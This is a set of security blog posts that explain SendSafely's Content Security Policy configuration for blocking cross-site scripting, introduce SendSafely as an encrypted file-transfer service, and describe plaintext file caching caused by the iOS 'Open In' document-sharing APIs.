Note: This post has been crossposted from the SendSafely blog. You can find the original post at http://blog.sendsafely.com/post/42277333593/using-content-security-policy-to-prevent-cross-site.

On SendSafely we make heavy use of many new JavaScript APIs introduced with HTML5. We encrypt files, calculate checksums and upload data using pure JavaScript. Moving logic like this down to the browser, however, makes the threat of Cross-Site Scripting (XSS) even greater than before. In order to prevent XSS vulnerabilities, our site makes liberal use of pretty aggressive client-side and server-side encoding APIs. These APIs are based on the OWASP ESAPI library, so we have context-specific encoding methods for pretty much every scenario. Even so, we recognize that it is very difficult to rule out all possible ways to inject code, including human error on our part. For this reason we chose to also implement Content Security Policy (CSP) for SendSafely.

CSP is a new security mechanism supported by modern browsers. It aims to prevent XSS by white-listing URLs the browser can load and execute JavaScript from. The server can, by specifying specific CSP directives, prevent the browser from executing things like in-line JavaScript, eval(), setTimeout() or any JavaScript that comes from an untrusted URL. The policy works as a white list, only domains listed are allowed to execute, everything else will be blocked.

The Content Security Policy in SendSafely
In SendSafely, our Javascript files are all loaded from a dedicated host that doesn’t run any dynamic content (static.sendsafely.com). The exceptions to this are for certain third-party JavaScript APIs that we load from an external domain, specifically Google Analytics and reCAPTCHA. Text-to-JavaScript functions like eval() and setTimeout() are blocked across the board, even if the script is loaded from one of our white-listed hosts, as is any in-line JavaScript

Use of a strict CSP makes it significantly harder to inject executable JavaScript into application pages since the code must come from a trusted server. The typical XSS attack using un-encoded output on one of our pages won’t work when the CSP is enforced. In fact, any JavaScript embedded on our content pages (even JavaScript we put there) gets blocked by the policy. Pretty cool stuff.

So you may be asking yourself, does this mean XSS is nothing but a memory? Sadly, this is not the case. For starters, CSP is still fairly new and only supported by recent versions of Firefox, Safari and Chrome. Internet Explorer 10 (IE10) supports a subset of CSP options, but the ability to white list domains is unfortunately not one of them. Aside from limited browser support, data dynamically loaded into the page from JavaScript is still potentially vulnerable. A strict Content Security Policy should therefore not be considered the end-all solution to XSS . Think of CSP more like a safety belt, which is nice to have when your car crashes.

Dissecting our Policy
Now let’s take a look at the CSP policy we use on www.sendsafely.com and dissect it a bit. One of the first things to note is that if you are going to implement CSP, you must realize that there are some browser compatibility nuances to deal with. The main thing to note is that Safari uses ‘X-WebKit-CSP’ as the header name for implementing CSP, while other browsers have standardized on ‘X-Content-Security-Policy’. Another glitch that affects Safari is that a severe bug in the CSP implementation on Version 5.1 essentially blocks authorized content when a valid CSP is specified. As a result, you’ll want to specifically detect when Safari is used and send either the ‘X-WebKit-CSP’ header or no header at all (if Version 5.1 is used).

To keep our policy as strict as possible, we use two different policies depending on what the page needs to do. The stricter policy is used for all pages except the ones that handle encryption and decryption (the reason for this will be discussed in a separate follow up post). For simplicity, the more strict policy will be explained here.

X-Content-Security-Policy: default-src ‘none’; connect-src ‘self’; script-src https://static.sendsafely.com https://www.google.com https://ssl.google-analytics.com; style-src ‘self’ ‘unsafe-inline’ http: https:; img-src ‘self’ https://www.google.com https://ssl.google-analytics.com; report-uri /csp-reports;

The header is divided into different sections that are each separated by a semi-colon. The “default-src” directive defines the security policy for all types of content which are not expressly called out by more specific directives. We opted to set the default-src value to ‘none’, meaning that by default we allow nothing to load. If we stopped defining directives here, the site would be completely broken, so now we need to open up the policy and allow specifically what we need to load.

Now that we’ve explicitly denied everything by default, we need to add back the specific content policy options our site needs. On SendSafely, we have a hand full of resource categories that we need to add policy settings for. Each of these are outlined below, along with the CSP directives for each:

Ajax Requests - Several pages within our site use the browser’s XMLHttpRequest (XHR) object to make HTTP requests from within our JavaScript code. In order for us to make these requests we set the “connect-src” attribute to “self”, so scripts on our site can make XHR requests back the server but nowhere else. This attribute is another place where we run into compatibility issues across different browsers. Specifically, FireFox decided to name this directive “xhr-src” instead of “connect-src”. To account for this, our CSP code does some basic browser detection and if we detect that FireFox is being used, we change the directive name accordingly.
JavaScript - As mentioned previously, we load all of our internal static JavaScript from a dedicated host (static.sendsafely.com). Additionally, we’ve chosen to load the Google Analytics and ReCaptcha JavaScript files from their origin domains on google.com. Unfortunately the ability to allow just a sub-path of a host (like /scripts/) is not supported. Since ReCaptcha script files get loaded directly off of the main www.google.com site, our “script-src” directive includes https://static.sendsafely.com, https://www.google.com and https://ssl.google-analytics.com

Having such a large site like www.google.com in our CSP whitelist is understandably something we are not thrilled about. The ability to allow sub-paths of a host is slated to be introduced in CSP 1.1, but until then we’ll have to live with it. The good news is that Google takes security very seriously, and they take great care to avoid script injection bugs on their website.

CSS - Our site design makes heavy use of in-line CSS for styling various UI attributes. As such, the style-src directive includes a value of “self” (that allows us to load CSS files from the same host) and a value of “unsafe-inline”, meaning that we can use in-line CSS from within our HTML pages. We recognize that by allowing in-line CSS within our pages, there is a minimal increased security risk since someone could potentially be mischievous if they found a way to inject markup into one of our pages. Given the cost/benefit of refactoring the UI to completely avoid any in-line CSS, however, we decided this is a tolerable risk that we can live with for now.
Images - Our img-src directive specifies both “self” and the two previously mentioned google hosts (https://www.google.com and https://ssl.google-analytics.com) as the authorized origin hosts for all image content For the most part, our site only loads images from the same host. The exception to this is reCaptcha, however, since reCaptcha loads various images from www.google.com domain.
The final part of our CSP header is the ‘report-uri’ directive. This directive tells the browser to send us a report of pages that violate the Content Security Policy. The violation reports consist of JSON documents sent via an HTTP POST request to the specified URI. Using this option, we can monitor for events that trigger CSP exceptions and quickly take action if we think there may be a problem with our site. The reports are also great to use during testing and development in order to debug CSP issues you might encounter.

Final Notes
A few final notes: CSP is a great tool to add an additional layer of protection against Cross-Site Scripting. If you’re building a new application, CSP should be considered as a solid defense in depth security control in the never-ending battle against cross-site scripting. Writing client-side code which is designed to use CSP will save precious developer cycles in the future, if code must be migrated to work with CSP.

Implementing CSP on our site proved to be a very interesting exercise. We’ll provide more details on some other aspects of our Content Security Policy implementation in a follow up post here on our blog.

Introducing SendSafely.com: An Easier way to Securely Send Files

Brian Holyfield — Wed, 19 Dec 2012 07:04:53 +0000

Imagine this scenario: It is 4PM on a Thursday afternoon. You’ve worked hard all week, doing what just may be your best work ever. You’ve been scrambling to finish up a report you owe your favorite, but most demanding client. You promised to deliver it to them by the end of day, since their boss needs the report before the go/no-go meeting in the morning.

It’s been peer reviewed, and you give it your final once over to make sure everything is perfect. You open your email client, attach the report to the message, and then press the GPG “Encrypt” button. The mail client chokes a few times, which you chalk up as normal when dealing with GPG, and finally the email is sent. Life is good.

As you reach into the beer fridge to crack open a celebratory stout in the mini fridge you keep below your desk (doesn’t everyone have one of those?), you see a reply come into your inbox. “Thanks for the report. I had to duck out of the office early today to make it to my son’s baseball game. Please send the report to my assistant instead so he can have it ready for tomorrow’s meeting. You’re the best!”.

Hmm, ok no problem…let’s just send the report to the assistant instead. Obviously, sending the plain-text file via email is not an option. You send the assistant an email asking for their GPG/PGP key. “What’s GPG?” the assistant replies. Ok, not surprising. Time to move to Plan B…send them an encrypted ZIP file. You start by generating a nice random combination of letters, numbers and symbols. You use that as the password to encrypt the ZIP with AES-256, and send it off. Now all you need to do is call them with the password.

As you pick up the phone to call them, a reply comes into your inbox from postmaster@yourclient.com “Error 582 - Email Attachment Security Policy Violation”. You curse to yourself as you vaguely remember suggesting to them a few months back that they bolster their email filtering capabilities by using a cloud service like Google’s Postini, rather than the traditional signature-based software they were previously using. Unfortunately to your disadvantage, this message confirms that they took your advice. In an act of desperation you rename the “report.zip” file to “report._”, hoping that the mail filter is dumb enough to just look at the file extension. The identical auto-reply that comes back moments later, confirming what you already knew…it wouldn’t be that easy.

Ok, time to move to Plan C, sending the file through a web-based server your company runs specifically for such situations. You remember the company network admin boasting about the steps he took to harden the server when it was first stood up, but you decide to stick with the encrypted ZIP as an extra layer of protection. You upload the file, publish it to an external link, email the link to the assistant, and call them to provide the password. “Ok, the file looks like its downloading…hold on and I’ll make sure I can open it.”. You start to breathe a sigh of relief as it looks like you are finally close to being done.

“I’m opening it now.”, says the assistant as you slowly reach down once again towards the mini fridge. “Hmm, it’s telling me Windows cannot complete the extraction.” You quickly realize you’ve been foiled once again, when you remember that Windows can’t natively open AES-encrypted ZIP files (Windows can only open ZipCrypto protected files natively). As a last ditch effort, you ask the assistant to Google the terms “WinZip” or “7Zip” and follow the download links for each, but the WebSense proxy they recently implemented (also based partly on your advice) quickly blocks both downloads. As you start to pull out your hair and think of what to do next, you wish there was a better way. Well now there is.

Meet SendSafely
Some of you may know we recently previewed a new platform, which we developed, at OWASP AppSec USA in Austin, TX. The platform is called SendSafely, and it’s designed to facilitate secure file exchange using only a web browser. Being a team of security consultants, we were repeatedly faced with multiple variations of the scenario outlined above. With SendSafely, you only need a modern web browser to quickly and easily exchange encrypted files with anyone. No pre-shared keys, no software to install. If you’re interested to see how it works we’ve got a high-level explanation here and a more detailed explanation here. If you haven’t tried it out, we encourage you to sign up for free and take it for a test drive.

Our goal with SendSafely is to become the standard for secure file transfers. We aren’t a Dropbox replacement, nor do we aim to be. Think of them as the mini-storage unit you rent every month to hold onto all of that extra stuff you own. Instead, think of us as the secure FedEx or UPS of the digital world. If you want to send something important to someone else, and you want to get it there fast and securely, then use SendSafely.

You can also check out the SendSafely Blog, where we’ll be blogging about the challenges we’ve dealt with, and things we’ve learned, while building a secure cloud-based application platform. Stay tuned for more updates, and tell us what you think of SendSafely…we’re all ears! You can reach us at info@sendsafely.com or feel free to post your comments right here on our blog.

Plaintext Caching with iOS Document Interaction APIs

Ron Gutierrez — Tue, 14 Aug 2012 08:00:55 +0000

The iOS Document Interaction APIs provide applications with the ability to have another application installed on the device handle a file. The most common scenario of this behavior is the Mail application. The Mail application receives emails which may contain document files like PDFs as attachments. Although the Mail application does have PDF preview functionality, there may be a separate PDF viewing or editing application installed on the device. The Mail application therefore opts to leverage the Document Interaction API in order to provide users with the ability to open the attached PDF file using any application on the device registered to handle PDF file types.

iOS applications can register to handle file types by setting the supported UTI types within the “CFBundleDocumentTypes” section of their Info.plist file. The application would also need to implement the “application:didFinishLaunchingWithOptions:” application delegate method to handling incoming files. When applications leverage the Documentation Interaction APIs to View or Open a file with another application, iOS will already know which applications have registered to handle the data type. The UI displays a listing of installed applications which can handle the file type.

At this point, people familiar with iOS may be wondering how this“Open In” functionality works due to the security restrictions of the iOS application sandbox. The sandbox prevents one application from accessing any data stored within another application’s container. When a user chooses an application listed in the “Open In” prompt, a copy of the file is made to the other application’s container.

This is where it starts to get interesting. The copy of the file is written to the receiving application’s Documents/Inbox folder. This file is not stored using data protection and will persist on the device even after the application is closed or the device is rebooted.

This becomes an issue when dealing with sensitive files in “secure container” applications. Secure containers are applications which implement their own form of data protection in order to supplement the data protection feature provided by iOS. In many cases these custom secure containers are created due to not having the ability to enforce device pass-codes on unmanaged devices. One scenario we encountered was a secure container application that wanted to incorporate “Open In” functionality for sending files to the Good For Enterprise (GFE) application. The GFE application would then provide users with the ability to email the received documents using their corporate email. Since GFE is also a secure container application, the organization assumed the file would remain encrypted on the device. Due to the discussed plaintext caching of the file, it becomes the receiving application’s responsibility to perform proper clean up of any files it has received. Unfortunately, GFE was not performing the necessary cleanup and the file remained stored in plaintext.

The main take away from the blog post should be to be very cautious when performing any form of inter-process communication with sensitive documents in your iOS application. IOS contains many subtle caching issues which could cause data expected to be stored encrypted to be unintentionally cached elsewhere in plaintext.